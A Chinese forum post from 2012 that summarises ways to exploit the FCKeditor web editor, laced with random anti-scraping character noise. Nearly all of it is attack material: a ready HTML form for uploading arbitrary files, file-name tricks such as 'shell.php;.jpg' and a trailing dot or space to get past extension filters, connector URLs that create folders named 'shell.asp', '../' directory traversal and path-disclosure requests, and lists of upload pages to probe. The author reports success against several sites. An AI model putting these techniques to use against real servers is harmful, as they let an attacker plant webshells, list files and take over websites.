找回密码
 立即注册
查看: 3071|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
! m$ g* ]3 i: N: D9 S7 E4 j查看编辑器版本2 U9 e% E. _: y: |/ N
FCKeditor/_whatsnew.html
1 T) i8 ~! w4 s4 r6 N9 p—————————————————————————————————————————————————————————————
/ F& U7 f% [( S$ ~' V, D) x
  U5 d: F) ^2 K2 m9 ?2. Version 2.2 版本! }% h9 P) _3 }+ ]3 }( c4 V% J7 `
Apache+linux 环境下在上传文件后面加个.突破!测试通过。8 j/ N4 \9 A2 I3 U" a" J5 n7 Z
—————————————————————————————————————————————————————————————0 S+ s* X/ G: B: b: p/ m( t

# t/ r4 q7 m! ~# @4 z- y3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。* Y4 x' m6 b1 G
<form id="frmUpload" enctype="multipart/form-data"0 u7 l9 I- t! l) o# G
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>! k4 K; t. u5 R/ s2 g
<input type="file" name="NewFile" size="50"><br>$ s% G1 a% Q5 W. _
<input id="btnUpload" type="submit" value="Upload">
5 g+ |% u/ w* q" B& Y</form>
$ T5 A9 Q9 j) Y; B- `—————————————————————————————————————————————————————————————& n8 ^( j) i' ]9 t
& _0 [' r( f! D' C, ]0 \4 ]
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法; G3 [, Q& d8 }7 w* e$ J; u% }- {
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。5 k, \& {9 W) b) Z& ^3 W
    4.1:提交shell.php+空格绕过
2 e% z7 D" X! H& M: F6 g  U不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
  r# E4 U+ `  q+ M* i5 g    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
9 o; x3 I! R2 O—————————————————————————————————————————————————————————————4 j: y+ h- Z8 a! U

# l7 q/ e7 e9 w5 k5. 突破建立文件夹
$ X" @) y* k6 e  G; @) f: bFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684+ c, q0 I$ `* j: L
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp! G' p! T1 `, a8 p4 ?  ~
—————————————————————————————————————————————————————————————0 W+ R5 Y+ h' [7 Q

8 ^: r9 c( ~8 u" K& v" P+ X6. FCKeditor 中test 文件的上传地址' q. }% F1 N* b7 ~
FCKeditor/editor/filemanager/browser/default/connectors/test.html6 m# g0 h# J0 f0 v' _
FCKeditor/editor/filemanager/upload/test.html+ G$ q% i" B' ]+ V; h# t6 A) ^
FCKeditor/editor/filemanager/connectors/test.html
3 n' i8 j; o: S# _" `0 \6 \( {FCKeditor/editor/filemanager/connectors/uploadtest.html/ E, @7 _, E: [) N, ^
—————————————————————————————————————————————————————————————
2 p( M+ F4 C* G7 y" L' N$ |2 R2 P1 Q9 n: e' r9 f
7.常用上传地址4 ]" @" t* h. y+ q% T' J
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
9 e0 w) d" A6 V1 X: C( B/ e* ]FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp& `# @* S- t6 E! Z
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
( ]$ |$ n% r; K! d- AJSP 版:
! c: m' D8 e# W5 x  I  h/ T! C9 PFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp; O% K, e7 F/ v; t: ?
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文9 A( `2 e9 Q" ~' v3 Z
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。; @' j, [  V1 e
—————————————————————————————————————————————————————————————& z+ y$ S; H% b9 ?
0 q! D9 e2 i; v* u
8.其他上传地址/ T1 z' a' N, ]' p% y' B1 z3 g. y, a
FCKeditor/_samples/default.html
7 O) X9 x: O. z/ B7 sFCKeditor/_samples/asp/sample01.asp0 @) L! b5 J; u8 J/ o4 d6 l' m. h
FCKeditor/_samples/asp/sample02.asp
2 ~0 s: G4 ~. x7 lFCKeditor/_samples/asp/sample03.asp! `, T. n9 }- I! S5 v( @
FCKeditor/_samples/asp/sample04.asp4 E/ H$ B, i" T& C
一般很多站点都已删除_samples 目录,可以试试。
. a% @; C1 X! N% k6 _& x" s2 JFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。/ s- O+ V+ g) C2 l8 X/ K3 v& y
—————————————————————————————————————————————————————————————+ w  x. D$ y# E9 c- g

, V# L: J! b6 [' ^9.列目录漏洞也可助找上传地址
2 J+ E8 K# H% [2 OVersion 2.4.1 测试通过3 s2 v3 J7 g1 X* d/ ~
修改CurrentFolder 参数使用 ../../来进入不同的目录6 v0 d- O2 T+ I% P
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
. Y! `  N" D  H9 z1 T# _根据返回的XML 信息可以查看网站所有的目录。2 t. N) \/ g! x9 E, K  R5 L
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
& k8 _7 q: i" k0 P# Z$ B* I7 c: g& Y也可以直接浏览盘符:
/ _7 n+ s; R' QJSP 版本:3 N8 v! h+ K) Q$ s" d
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
7 N0 ?/ [4 }0 |7 c$ t2 [—————————————————————————————————————————————————————————————
4 y7 R8 f) K7 K6 l2 J4 \! g: _
  J3 v8 [' \7 K  ?! S" K* f* M10.爆路径漏洞
! F# U3 H* _' J' B: O) g6 VFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
1 U' |, d0 c+ l* f" s; l6 v9 V/ e—————————————————————————————————————————————————————————————
  u1 S8 L- H2 ~! T9 [: `- R5 J: `9 J1 H4 d" \, \' a2 o/ W. l
11. FCKeditor 被动限制策略所导致的过滤不严问题1 m1 D$ P+ z/ _+ a
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
  f8 x+ {: H0 h; S/ e: `脆弱描述:
* c/ Y2 i2 o1 E2 r' Q/ ^* `FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
9 I2 l* L5 C. o6 Chtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm3 g0 g2 ?4 g: X# A+ N
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!+ o3 T, \; g0 Q: M0 W% M4 Q# Y! R1 T
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。' U1 h- `$ J. |) g: [0 ]6 `+ a; b
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
8 y8 t/ b- A0 E7 Y7 x" |# ~—————————————————————————————————————————————————————————————
' l4 O" C- ]9 g' B+ C, `9 l. w* R
12.最古老的漏洞,Type文件没有限制!% b$ w( i/ H- v/ I
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
) g' Y0 I0 h* e8 _—————————————————————————————————————————————————————————————1 Z- a) V3 J( s; X8 z1 ]

9 e- y7 u6 t5 B$ \* K===============================================================================================================================================
  M& J/ }. t- ^7 O& F) C6 Y1 J
FCK编辑器jsp版本漏洞:) c* f# M$ R4 T- w) z' ?

7 U. ~) O3 a9 o: B, H1 f$ M1 s: t" }: _) z. n( \' v) P# Z
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F, W$ o* ^3 m- }

& \2 v  Z3 S) W2 u上传马所在目录5 e* m+ y& V/ j' [6 B
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
$ Q; z5 _( v- S9 D' g上传shell的地址:! o8 K" B6 C) C; z5 ]
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector$ }3 V, f; }" @
跟版本有关系.并不是百分百成功. 测试成功几个站.
$ A" a" g- N/ \$ P3 q) w不能通杀.很遗憾.
0 u* _6 [  k1 \8 X8 uhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector; O' I. T+ _2 x! p. e# H5 {
如果以上地址不行可以试试- r' u6 \+ B3 i0 g
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector7 \8 k+ `6 V& W. J
FCKeditor/_samples/  Z: y7 i6 o) F2 v& W9 x" i
FCKeditor/_samples/default.html
$ Q4 o* ~3 D5 L1 K' zFCKeditor/editor/fckeditor.htm
& N# c9 i# ~: ~* ]- [7 w: }FCKeditor/editor/fckdialog.html; g: `3 a" m. O) b: G% q4 P
1 S% n' ?( W  @' t
( n2 F" {$ s/ j# v& p
( Y' |1 L; a4 R  L& \
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
- x, i0 T$ d0 k8 s0 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表